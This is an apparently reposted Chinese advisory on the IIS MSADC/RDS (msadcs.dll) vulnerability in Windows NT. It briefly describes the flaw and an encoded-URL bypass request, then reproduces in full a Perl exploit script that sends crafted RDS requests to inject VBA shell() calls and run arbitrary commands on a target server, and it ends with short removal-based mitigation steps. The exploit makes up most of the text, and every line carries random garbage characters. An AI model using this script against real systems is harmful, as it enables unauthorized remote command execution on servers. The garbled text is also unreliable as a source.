IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
+ 9|0\Q zv0sz ]) 涉及程序：
~@ P D\ Microsoft NT server
[7HBn 1 I.P7_/ 描述：
~E y + 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
FXn98UF Y "4Q_F3?_` 详细：
r-L& ee 如果你没有时间读详细内容的话，就删除:
L@=$0p41; c:\Program Files\Common Files\System\Msadc\msadcs.dll
# Y3-P 有关的安全问题就没有了。
F=w:!tqA kZ)}tA7j 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
WFV'^- 4 94dd ) /a 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
,%N[FZ`| 关于利用ODBC远程漏洞的描述，请参看:
xP9h$! f ebn?|@ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm u/S> *E w xte 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
|[mmEYc http://www.microsoft.com/security/bulletins/MS99-025faq.asp <%% )C>l Qk>U=]U 这里不再论述。
(`E`xb@E,= Xx[,n- rA 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
}2e s" mVYfyLZ,( /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
*c=vEQn- 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
f(blqO.@l <]KQ$8dtD cLw nV. #将下面这段保存为txt文件，然后: "perl -x 文件名"
mI DVN Iy4%,8C]g #!perl
lVq5>:'}^; #
-P|claO0 # MSADC/RDS 'usage' (aka exploit) script
8q{|nH #
L[ D+= # by rain.forest.puppy
3 h=kn@I #
GiM-8y ~ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
F vPWS! H # beta test and find errors!
czu9a"M>X SpU|Q1Q/h use Socket; use Getopt::Std;
N 6u>V~i getopts("e:vd:h:XR", \%args);
lN:;~;z_ 3Og}_ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
] dJ"_ ~&RrlF h if (!defined $args{h} && !defined $args{R}) {
?< W|Ya print qq~
!vJ$$o6# Usage: msadc.pl -h <host> { -d <delay> -X -v }
<bo)p 6S& -h <host> = host you want to scan (ip or domain)
`o }+2Cb -d <seconds> = delay between calls, default 1 second
PMbZv%.,- -X = dump Index Server path table, if available
oOvQA W8` -v = verbose
un~`| -e = external dictionary file for step 5
u*I'c2m Q8h0.(#- Or a -R will resume a command session
=. \hCg q &k_*Y- l7] ~; exit;}
umq6X8K l-v m`-_# $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
f
-F}~S if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
^< cJ;u*0 if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
o/V T"cT if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Z:N;>.3i $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
*w _ o8!3- if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
f sh9-iY8e lkJxb~S if (!defined $args{R}){ $ret = &has_msadc;
C" **>OGe die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
+ jwk4BU `|Di?4+6% print "Please type the NT commandline you want to run (cmd /c assumed):\n"
\ HUDZ2 s . "cmd /c ";
j[A(@ w" $in=<STDIN>; chomp $in;
c?_7e9}2 $command="cmd /c " . $in ;
2#^g] o- N `Ji WS
if (defined $args{R}) {&load; exit;}
=Hd#"9- ^JMG'@x print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
|,oLZC Na &try_btcustmr;
k;t G-~\d EwV$2 AK print "\nStep 2: Trying to make our own DSN...";
V~/-e- 9u &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
,C><n
kx \a|~#N3? print "\nStep 3: Trying known DSNs...";
L YB @L06a &known_dsn;
EZI#CLT[ $<2 d|;7r print "\nStep 4: Trying known .mdbs...";
KU(BY}/ ^ &known_mdb;
2 G*u v+= k ]r4b`x` if (defined $args{e}){
C^4,L
\E print "\nStep 5: Trying dictionary of DSN names...";
3fQ`}OcNr &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
`4x Q#K.- YU[#4f~ print "Sorry Charley...maybe next time?\n";
0wVM% Dng exit;
tl!dRV92 AQQa6Ce*
##############################################################################
PcT] DMc h88W sub sendraw { # ripped and modded from whisker
\SQ4yc sleep($delay); # it's a DoS on the server! At least on mine...
g 3[-[G^5 my ($pstr)=@_;
([rn.b] socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
_,(s die("Socket problems\n");
wS9V@ if(connect(S,pack "SnA4x8",2,80,$target)){
rYdNn0mh k select(S); $|=1;
fu~iF print $pstr; my @in=<S>;
f9>pMfi:@ select(STDOUT); close(S);
yBs-bp"- return @in;
z Gg)R } else { die("Can't connect...\n"); }}
#\Y`? F5cN F 5 ##############################################################################
H^S <bZ G,?a8( sub make_header { # make the HTTP request
8r+u!$i!H my $msadc=<<EOT
!x R9 I0V5 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
ibQ
xL3 User-Agent: ACTIVEDATA
j[dZ*Jr_ Host: $ip
F::Ki4{jJ Content-Length: $clen
3>L5TYa Connection: Keep-Alive
}MMKOr( \ Xh
C ADCClientVersion:01.06
)6p6<y Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Nb ~J'" Pi?G:IF --!ADM!ROX!YOUR!WORLD!
U7n#TPet Content-Type: application/x-varg
+3zQ"lLD^ Content-Length: $reqlen
[DeD U: Ty{
SZU J EOT
Q) aZ0 Pt ; $msadc=~s/\n/\r\n/g;
,|VLOY ^ return $msadc;}
EU:N9oT j~ds)dW%`& ##############################################################################
l\AdL$$Mb r`Fs"n#^-4 sub make_req { # make the RDS request
Tb2#y ]27 my ($switch, $p1, $p2)=@_;
o*7NyiJ@z my $req=""; my $t1, $t2, $query, $dsn;
6U8esPs, sj/k';#g if ($switch==1){ # this is the btcustmr.mdb query
k -R"e $query="Select * from Customers where City=" . make_shell();
C&qo$C $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
1 U/9=b $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
qP;1LAX "wZvr}xk elsif ($switch==2){ # this is general make table query
4FYV]p8f $query="create table AZZ (B int, C varchar(10))";
[c1Gq)ht $dsn="$p1";}
)O+Zbn R 8lja%+0$ elsif ($switch==3){ # this is general exploit table query
?d?. &nt $query="select * from AZZ where C=" . make_shell();
.J @mpJdY $dsn="$p1";}
= )3\B #U%HG TE0 elsif ($switch==4){ # attempt to hork file info from index server
.kuNn-$ $query="select path from scope()";
zJ}abo6rVw $dsn="Provider=MSIDXS;";}
k.54lNl U%@C<o
" elsif ($switch==5){ # bad query
N3#^Ifn[ $query="select";
3D@3jyo: $dsn="$p1";}
c9jS
!uDMK p JF
9Z $t1= make_unicode($query);
eA]8M ^ $t2= make_unicode($dsn);
xq g4b{ $req = "\x02\x00\x03\x00";
xWY\,'+Q $req.= "\x08\x00" . pack ("S1", length($t1));
kGnT4R*E $req.= "\x00\x00" . $t1 ;
1CZO+MB&"$ $req.= "\x08\x00" . pack ("S1", length($t2));
L |#0CRiN $req.= "\x00\x00" . $t2 ;
zq$L[ X $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
uc"%uc' return $req;}
Ue;Z)} (r?hD *2r ##############################################################################
G+2fmVB*X > fV "bj. sub make_shell { # this makes the shell() statement
7O|`\&RY R return "'|shell(\"$command\")|'";}
F%lC%~ -qh ^vSSG5 : ##############################################################################
pV8tn! 5K?/-0yG sub make_unicode { # quick little function to convert to unicode
IOxtuR my ($in)=@_; my $out;
5$:9nPAH for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
\5<Z [#{ return $out;}
->;2CcpHB (Ajg LNB ##############################################################################
lcpiCZ Z VdQ$ sub rdo_success { # checks for RDO return success (this is kludge)
a"O;DYh my (@in) = @_; my $base=content_start(@in);
w]h8KNt if($in[$base]=~/multipart\/mixed/){
&J9 + 5L8 return 1 if( $in[$base+10]=~/^\x09\x00/ );}
32aI0CT return 0;}
B<.\^f uS R87@. ##############################################################################
*K?UWi #$ d:A '|;'] sub make_dsn { # this makes a DSN for us
2x|F Vp my @drives=("c","d","e","f");
_XY(Qd print "\nMaking DSN: ";
cQd?,B3#F foreach $drive (@drives) {
*v8daF print "$drive: ";
MK
Sw
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
lq3D!+ m "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
{*8 G<& . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
=6\^ F i $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
rZB='(? return 0 if $2 eq "404"; # not found/doesn't exist
(4q/LuP^d if($2 eq "200") {
j$6Q]5KdoS foreach $line (@results) {
,2FI?}+R return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
6/g
82kqpk } return 0;}
e&!c8\F pd,d"+ ##############################################################################
/TB{|_HbW ^A\ (M%*F sub verify_exists {
] FvGAG.* my ($page)=@_;
"B +F6 my @results=sendraw("GET $page HTTP/1.0\n\n");
Pz
D30VA return $results[0];}
QAo/d4 )+,h}XqlX ##############################################################################
$f+ I#uJ O. y ?q sub try_btcustmr {
NB^Al/V@ my @drives=("c","d","e","f");
\pI {b9 my @dirs=("winnt","winnt35","winnt351","win","windows");
2Pe Mt^ !^NZp%Yd foreach $dir (@dirs) {
&F7_0iA P( print "$dir -> "; # fun status so you can see progress
|${I mP foreach $drive (@drives) {
ui`EODhA( print "$drive: "; # ditto
{=J: $reqlen=length( make_req(1,$drive,$dir) ) - 28;
}C[ "'tLX $reqlenlen=length( "$reqlen" );
|}Yx xeAk $clen= 206 + $reqlenlen + $reqlen;
G9j f]Ye; jHHCJOHB8 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
OA}; pQ9QN if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Ke:EL;*8k else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
dOaCdnd~ sL\ {.ad5 ##############################################################################
6v%ePFul ]^wr+9zd sub odbc_error {
6#jql my (@in)=@_; my $base;
J2oh#TGp my $base = content_start(@in);
< 0~1 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
KC:6^h'. $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
sHPeAa22 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
2g_ mQT $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
74
)G.! return $in[$base+4].$in[$base+5].$in[$base+6];}
Tu}EAr print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
=\)zb '\=d print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
};P=|t(r $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
e~'z;% O~ "dOQ)<; ##############################################################################
PX23M|$! /E T+` =n sub verbose {
SE i\H$ ! my ($in)=@_;
Q*'OY~ return if !$verbose;
(IjM print STDOUT "\n$in\n";}
km^ZF<. @ ~@@$-,}X ##############################################################################
@6R6.i5d H)&iFq sub save {
_):@C:6 my ($p1, $p2, $p3, $p4)=@_;
GCw4sb4~w open(OUT, ">rds.save") || print "Problem saving parameters...\n";
0SIUp/. print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
tGXH) =K close OUT;}
O/(vimx.#F c`S +>: ##############################################################################
{^;7DV: ?uJX sub load {
2Ir*}s2{ my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
3'A0{(b open(IN,"<rds.save") || die("Couldn't open rds.save\n");
fJk'5kv @p=<IN>; close(IN);
Sj/v: $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
2w+4B4 $target= inet_aton($ip) || die("inet_aton problems");
s?9Y3]&+&M print "Resuming to $ip ...";
#k>A, $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Bzt:9hr6BO if($p[1]==1) {
qJonzFp7 $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
\x4:i\Fx@ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
D Vg$rm` my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
}[@Q**j( if (rdo_success(@results)){print "Success!\n";}
W
9}xfy09 else { print "failed\n"; verbose(odbc_error(@results));}}
cud9oJ-=; elsif ($p[1]==3){
nsV= if(run_query("$p[3]")){
>/}p{Tj print "Success!\n";} else { print "failed\n"; }}
s!MD8i a elsif ($p[1]==4){
%WmTG }L) if(run_query($drvst . "$p[3]")){
<*u^8lCA print "Success!\n"; } else { print "failed\n"; }}
@;hdZLG]`& exit;}
?X\.O-=4X i<tJG{A= ##############################################################################
!SnLvW89Z H*f2fyC1\ sub create_table {
/e|qyWs my ($in)=@_;
4
540Lw'A $reqlen=length( make_req(2,$in,"") ) - 28;
{5%d#|? $reqlenlen=length( "$reqlen" );
=_@) KWeX$ $clen= 206 + $reqlenlen + $reqlen;
ug;\`.nT^ my @results=sendraw(make_header() . make_req(2,$in,""));
;9 ChB A return 1 if rdo_success(@results);
-^7
$HD my $temp= odbc_error(@results); verbose($temp);
Tj<B;f!u return 1 if $temp=~/Table 'AZZ' already exists/;
7D' D7=Z. return 0;}
9O Y ao SwO$UqYU= ##############################################################################
CS-jDok DYgB_Iak sub known_dsn {
uT<<G)v) # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
9^Web~yi# my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
MI:%Eq "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
d`5AQfL& "banner", "banners", "ads", "ADCDemo", "ADCTest");
YvP62c \ 9~a 5R]x2
foreach $dSn (@dsns) {
P-8QXDdr print ".";
&u6n5 -!v next if (!is_access("DSN=$dSn"));
= i;T?*@ if(create_table("DSN=$dSn")){
OpIeo+^X* print "$dSn successful\n";
?(Plb&kR if(run_query("DSN=$dSn")){
`/!FZh< print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
gLZJQubz
6 print "Something's borked. Use verbose next time\n";}}} print "\n";}
N cGFPi (Z M:& %c3 ##############################################################################
l2dj GZk cF9oo%3 sub is_access {
C6@*l~j my ($in)=@_;
^mC,Z+! $reqlen=length( make_req(5,$in,"") ) - 28;
tc\ZYCFr $reqlenlen=length( "$reqlen" );
FDGG$z?>m $clen= 206 + $reqlenlen + $reqlen;
n^5Q
f\ o my @results=sendraw(make_header() . make_req(5,$in,""));
s&$e}yxVO my $temp= odbc_error(@results);
Zv -1*hhHf verbose($temp); return 1 if ($temp=~/Microsoft Access/);
jWh) bsqI! return 0;}
!)W#|sys& ]Ge>S?u ##############################################################################
ryA+Lli. |68/FJZ,5 sub run_query {
-O-?hsV)y my ($in)=@_;
ObS#aRq $reqlen=length( make_req(3,$in,"") ) - 28;
&uBf sa$ $reqlenlen=length( "$reqlen" );
B8. }9 $clen= 206 + $reqlenlen + $reqlen;
Iu >4+6 my @results=sendraw(make_header() . make_req(3,$in,""));
c o^h2b return 1 if rdo_success(@results);
zzW$F)X my $temp= odbc_error(@results); verbose($temp);
aU[!*n 4Ux return 0;}
r w gj] ^ L7!lzyo ##############################################################################
R1<$VR ^~@3X[No sub known_mdb {
Acd@B L* my @drives=("c","d","e","f","g");
h5-yhG my @dirs=("winnt","winnt35","winnt351","win","windows");
YmjA!n my $dir, $drive, $mdb;
fy|I3 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
m@w469&<(q RQ^
\| +_ # this is sparse, because I don't know of many
W@'*G*f my @sysmdbs=( "\\catroot\\icatalog.mdb",
a69e^;,>q "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
$MfRw "\\system32\\certmdb.mdb",
?<8c "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
dZb;`DjTH 5dD8s-; ^T my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
/<(-lb q, "\\cfusion\\cfapps\\forums\\forums_.mdb",
87eH~&<1 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
h/8p2Mrqi "\\cfusion\\cfapps\\security\\realm_.mdb",
VhAJ1[k4! "\\cfusion\\cfapps\\security\\data\\realm.mdb",
pQC|_T#u "\\cfusion\\database\\cfexamples.mdb",
K~S*<? "\\cfusion\\database\\cfsnippets.mdb",
n XI8 `7D "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
c813NHW "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
<X1 lq9 lW "\\cfusion\\brighttiger\\database\\cleam.mdb",
_p'@.P "\\cfusion\\database\\smpolicy.mdb",
-"H0Qafm "\\cfusion\\database\cypress.mdb",
w1VYU > "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
"5sA&^_#_ "\\website\\cgi-win\\dbsample.mdb",
Y>
}\'$\b "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
zn_#}}e;G "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
7-~)/7L ); #these are just
~%f$}{ foreach $drive (@drives) {
k#8`996P foreach $dir (@dirs){
bw7g L\* foreach $mdb (@sysmdbs) {
u7Ix7`V print ".";
VEn3 b if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
vX}w_Jj> print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
<8Nr;96IA if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
8pftc) k print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
_VmXs&4 } else { print "Something's borked. Use verbose next time\n"; }}}}}
bQ w G"N E'( nJ foreach $drive (@drives) {
ZU +_nWnl foreach $mdb (@mdbs) {
p|dn &<kd print ".";
Hz==,NR-W if(create_table($drv . $drive . $dir . $mdb)){
#:/27 print "\n" . $drive . $dir . $mdb . " successful\n";
,&o ^}TFkg if(run_query($drv . $drive . $dir . $mdb)){
-p>1:M < print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
z 1^fG) } else { print "Something's borked. Use verbose next time\n"; }}}}
3G 2iRr.o }
Oe
:S1 f !"Q%I#8uh ##############################################################################
%.l={B,i *vEj\ sub hork_idx {
tns8B print "\nAttempting to dump Index Server tables...\n";
V |}9bNF print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
J2!
Q09 }5 $reqlen=length( make_req(4,"","") ) - 28;
iXL^[/}&?M $reqlenlen=length( "$reqlen" );
U?5lqq $clen= 206 + $reqlenlen + $reqlen;
bX(/2_l my @results=sendraw2(make_header() . make_req(4,"",""));
o76! 7 if (rdo_success(@results)){
kN8B, my $max=@results; my $c; my %d;
?TK`s Gy for($c=19; $c<$max; $c++){
X!'C'3 X $results[$c]=~s/\x00//g;
iF837ng5 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
op9vz[o#4 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
OJJ [Er1 $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
w%\{4T~ $d{"$1$2"}="";}
DG0I- "s foreach $c (keys %d){ print "$c\n"; }
!c M<&3/ } else {print "Index server doesn't seem to be installed.\n"; }}
"19#{yX 4 *F Zav2]- ##############################################################################
4# ]g 852 M6^
\LtFt sub dsn_dict {
cL;%2TMk open(IN, "<$args{e}") || die("Can't open external dictionary\n");
HX}B#T while(<IN>){
/93z3o7D> $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
A*81}P_ next if (!is_access("DSN=$dSn"));
@o^$/AE? if(create_table("DSN=$dSn")){
n ]D io print "$dSn successful\n";
H) "]I3 if(run_query("DSN=$dSn")){
vD?D]8.F~Q print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
W83PMiN"T- print "Something's borked. Use verbose next time\n";}}}
z/f._Z( print "\n"; close(IN);}
Ak kF6d+ q 5z^y(Sv ##############################################################################
4\ *:Lc,- w\eC{,00: sub sendraw2 { # ripped and modded from whisker
F'|e :h sleep($delay); # it's a DoS on the server! At least on mine...
?CC.xE my ($pstr)=@_;
T6=|)UTe1 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
V+@ }dJS die("Socket problems\n");
,Tegrz&G if(connect(S,pack "SnA4x8",2,80,$target)){
7Hgn/b[?b print "Connected. Getting data";
rwP)TJh" open(OUT,">raw.out"); my @in;
% -A cA select(S); $|=1; print $pstr;
wQjYH!u,YZ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
#\QW <I#/ close(OUT); select(STDOUT); close(S); return @in;
^RT_Lky } else { die("Can't connect...\n"); }}
Y&U-d{" Haek r*1% ##############################################################################
~_ZK93o( ge6S_" sub content_start { # this will take in the server headers
?<
teH Fj my (@in)=@_; my $c;
]sL.+.P for ($c=1;$c<500;$c++) {
/#(IV_Eol if($in[$c] =~/^\x0d\x0a/){
k} &wy if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
Ka-o$o[^u` else { return $c+1; }}}
JehanF[ return -1;} # it should never get here actually
F~
\ONO5 hif;atO ##############################################################################
YlGUd~$`"+ ort *Ux)
sub funky {
CsycR @[ my (@in)=@_; my $error=odbc_error(@in);
?YZgH>7" if($error=~/ADO could not find the specified provider/){
#0uu19+} print "\nServer returned an ADO miscofiguration message\nAborting.\n";
jQ%1lQ#R) exit;}
"5
~ { if($error=~/A Handler is required/){
C,W_0= !e print "\nServer has custom handler filters (they most likely are patched)\n";
A:GqR;;"x> exit;}
HJ]e%og if($error=~/specified Handler has denied Access/){
1Td`S1'#yg print "\nServer has custom handler filters (they most likely are patched)\n";
.S#i/A'x exit;}}
iQ8{N:58DN -Pt E+R[A ##############################################################################
RH _b eF.nNu sub has_msadc {
$hcv}<$/ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
@<pd@Mpf] my $base=content_start(@results);
R8u8jG(4 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
aY(s
& return 0;}
DT>`.y%2W F9K` N8wlu ########################
iv6G9e{cx ,&=7ir14>R j y5[K. 解决方案：
% H" 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
IE996
2、移除web 目录: /msadc
